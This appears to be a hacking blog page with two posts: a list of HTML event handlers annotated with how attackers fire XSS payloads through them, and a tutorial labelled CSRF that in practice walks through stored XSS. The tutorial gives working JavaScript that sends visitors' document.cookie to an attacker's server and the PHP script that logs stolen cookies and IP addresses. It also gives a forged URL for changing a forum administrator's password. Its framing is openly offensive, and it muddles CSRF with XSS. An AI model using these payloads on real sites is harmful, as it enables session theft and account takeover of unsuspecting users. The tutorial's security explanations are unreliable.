HTML event handlers

Hello Today I will share with you some HTML event handlers which is use in xss and any web event handler .

1.    FSCommand() (attacker can use this when executed from within an embedded Flash object)
2.    onAbort() (when user aborts the loading of an image)
3.    onActivate() (when object is set as the active element)
4.    onAfterPrint() (activates after user prints or previews print job)
5.    onAfterUpdate() (activates on data object after updating data in the source object)
6.    onBeforeActivate() (fires before the object is set as the active element)
7.    onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function)
8.    onBeforeCut() (attacker executes the attack string right before a selection is cut)
9.    onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
10.    onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
11.    onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
12.    onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
13.    onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
14.    onBegin() (the onbegin event fires immediately when the element's timeline begins)
15.    onBlur() (in the case where another popup is loaded and window looses focus)
16.    onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
17.    onCellChange() (fires when data changes in the data provider)
18.    onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
19.    onClick() (someone clicks on a form)
20.    onContextMenu() (user would need to right click on attack area)
21.    onControlSelect() (fires when the user is about to make a control selection of the object)
22.    onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
23.    onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
24.    onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
25.    onDataSetChanged() (fires when the data set exposed by a data source object changes)
26.    onDataSetComplete() (fires to indicate that all data is available from the data source object)
27.    onDblClick() (user double-clicks a form element or a link)
28.    onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
29.    onDrag() (requires that the user drags an object)
30.    onDragEnd() (requires that the user drags an object)
31.    onDragLeave() (requires that the user drags an object off a valid location)
32.    onDragEnter() (requires that the user drags an object into a valid location)
33.    onDragOver() (requires that the user drags an object into a valid location)
34.    onDragDrop() (user drops an object (e.g. file) onto the browser window)
35.    onDrop() (user drops an object (e.g. file) onto the browser window)
36.    onEnd() (the onEnd event fires when the timeline ends.  This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
37.    onError() (loading of a document or image causes an error)
38.    onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
39.    onFilterChange() (fires when a visual filter completes state change)
40.    onFinish() (attacker can create the exploit when marquee is finished looping)
41.    onFocus() (attacker executes the attack string when the window gets focus)
42.    onFocusIn() (attacker executes the attack string when window gets focus)
43.    onFocusOut() (attacker executes the attack string when window looses focus)
44.    onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
45.    onKeyDown() (user depresses a key)
46.    onKeyPress() (user presses or holds down a key)
47.    onKeyUp() (user releases a key)
48.    onLayoutComplete() (user would have to print or print preview)
49.    onLoad() (attacker executes the attack string after the window loads)
50.    onLoseCapture() (can be exploited by the releaseCapture() method)
51.    onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
52.    onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
53.    onMouseDown() (the attacker would need to get the user to click on an image)
54.    onMouseEnter() (cursor moves over an object or area)
55.    onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
56.    onMouseMove() (the attacker would need to get the user to mouse over an image or table)
57.    onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
58.    onMouseOver() (cursor moves over an object or area)
59.    onMouseUp() (the attacker would need to get the user to click on an image)
60.    onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
61.    onMove() (user or attacker would move the page)
62.    onMoveEnd() (user or attacker would move the page)
63.    onMoveStart() (user or attacker would move the page)
64.    onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
65.    onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
66.    onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
67.    onProgress() (attacker would use this as a flash movie was loading)
68.    onPropertyChange() (user or attacker would need to change an element property)
69.    onReadyStateChange() (user or attacker would need to change an element property)
70.    onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
71.    onReset() (user or attacker resets a form)
72.    onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
73.    onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
74.    onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
75.    onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
76.    onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
77.    onRowsEnter() (user or attacker would need to change a row in a data source)
78.    onRowExit() (user or attacker would need to change a row in a data source)
79.    onRowDelete() (user or attacker would need to delete a row in a data source)
80.    onRowInserted() (user or attacker would need to insert a row in a data source)
81.    onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
82.    onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
83.    onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
84.    onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
85.    onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
86.    onStart() (fires at the beginning of each marquee loop)
87.    onStop() (user would need to press the stop button or leave the webpage)
88.    onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
89.    onSubmit() (requires attacker or user submits a form)
90.    onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
91.    onTrackChange() (user or attacker changes track in a playList)
92.    onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
93.    onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
94.    seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)


Thank you (zer0w0rm)

READMORE

CSRF(Cross-Site Request Forgery) / XSRF Attacks

In this tutorial I'll be discussing how a CSRF or XSRF attack works.
The method is called CSRF as well as XSRF. CSRF stands for Cross-Site Request Forgery. If you say XSRF the X obviously stands for the cross, just like XSS (Cross-Site Scripting).

I will be calling the method CSRF for the rest of the tutorial, because I prefer that term.

Table of Contents:

1) What is Cross-Site Request Forgery?
2) How do I find CSRF vulnerabilities?
3) How to take advantage of the IMG tag?
4) Keep it Simple
5) Securing yourself against CSRF
6) Conclusion

1) What is Cross-Site Request Forgery?

I just told you guys what CSRF stands for, so it will be unnessecairy to say it twice ^^. 

When performing a CSRF attack you can inject code in a webpage, like on forums or other websites where you can post comments on whatever what. The idea is to execute a HTTP request once a user visits the affected webpage, because this attack takes place on the side of the victim (Client-Sided), the request will be executed from the machine of the victim that vists the webpage. If, for example, a user is logged in to YouTube, a link can be crafted that can be hidden on a forum, which logs you out of YouTube. 

We can go waaaay further with this by, for example, making a request to a webpage, that, upon visiting, makes a few other request by using JavaScript. This could be used to steal information from websites the user is logged in to.

2) How do I find CSRF vulnerabilities?

CSRF vulnerabilities are often found in webpages with low security that allow everyone to make posts and comments. (Guests can comment) The fun part in that, is that you can create a post that can be seen by everyone visiting that page.

Though, it has to be possible to use HTML or BBCode.

The IMG Tag

A IMG tag in HTML (<img>) is often used as the following:

Code:

<img src="http://website.com/myimage.jpg">

As you may know PHP pages are also able to return images. This gives the possibility to do this, for example.

Code:

<img src="http://website.com/my_php_page.php">

If the PHP page my_php_page returns an image, the image will be displayed by the HTML tag.

3) How to take advantage of the IMG tag?

Yea, so how do we actually do it? Well, as I said PHP pages can also return images. Let's get to this simple scenario:

You've just found a webpage with the possibility to place comments, and you're able to use HTML within the comments. The website does not check the refer, and it's possible to use PHP extensions within the IMG tag. You write some PHP code that returns a image, but at the same time executes some Javascript too, that sends the victim to another page. If someone visits the page where you used the IMG tag, a picture will be shown, but at the same time the Javascript code is running as well. This way you can steal cookies, for example, or even write and post comments under somebody elses name.

Pretend we have the following code:

PHP Code:

<html><head><script type="text/javascript">
    var http = GetXmlHttpObject();
    if(http != null)
    {
      var url = "http://mywebsite.com/cookiestealer.php?cookie=" + document.cookie;
      http.open("GET", url, false);
      http.send(null);
    }

    function GetXmlHttpObject()
    {
      if(window.XMLHttpRequest)
      {
      return new XMLHttpRequest();
      }
      if(window.ActiveXObject)
      {
      return new ActiveXObject("Microsoft.XMLHTTP");
      }
      return null;
    }</script></head></html> 

Note: In this case I did not write PHP code to display an image. This is simple HTML/JS code that executes a HTML request to a certain page.

If you're a little familiar with JS you can see there was make a HTTP GET request to the page mywebsite.com/cookiestealer.php. After that, a GET arguement will be given that has the value 'document.cookie'. Document.cookie will always contain the cookie of the page where the Javascript code is being executed. In this case it will steal the cookie of the user that visits the page.

On the website I've found I've uploaded the following code:

PHP Code:

<?php
    $cookie = $_GET['cookie'];
    $ip = $_SERVER['REMOTE_ADDR'];

    $fh = fopen("log.txt", 'a') or die("can't open file");
    fwrite($fh, $cookie . "\n" . $ip . "\n\n");

    fclose($fh);?>

This PHP code will get the value of the GET arguement and the IP address of the person visiting your page. After that the code would add this information into the file called 'log.txt'.

Every time someone visits the page where I posted the link with the IMG tag with a link to a page that executes the JS code, the code will request the cookiestealer and place the cookie in the GET arguement.

At last, you can see the cookies flow into your log. ^^

4) Keep it Simple.

In the above code I showed a kind of extensive example. Really bad secured websites with bad software have even bigger bugs than that. 

Like that you can for example first install the forum software on your local software, and look what HTTP GET request you have to make to change the password of the administrator. Pretend it's like the following:

Code:

http://forum.com/admincp/change_admin_pass.php?newpass=mynewpass123

You'd have to send that URL to the Administrator in a Private Message, in a IMG tag. If the administrator reads the message, a request will be made to the above URL and will change the Admin password to mynewpass123.

I have to say, it's often alot harder than the above example. ^^

5) Protecting yourself against CSRF
You can protect yourself against CSRF attacks by, for example, stop loading images. I think this is a little devious, so I'm thinking about making an add-on that blocks all images that don't have a image-extension. Unless you allow it, ofcourse.

6) Conclusion

So what is a CSRF attack..? A CSRF attack is an attack that can be performed with less effort, if you know what you're doing, and can do alot of damage. Protecting against CSRF attacks is harder, but good to accomplish if you're working on, for example, a CMS. 


Thank you(zer0w0rm) 

READMORE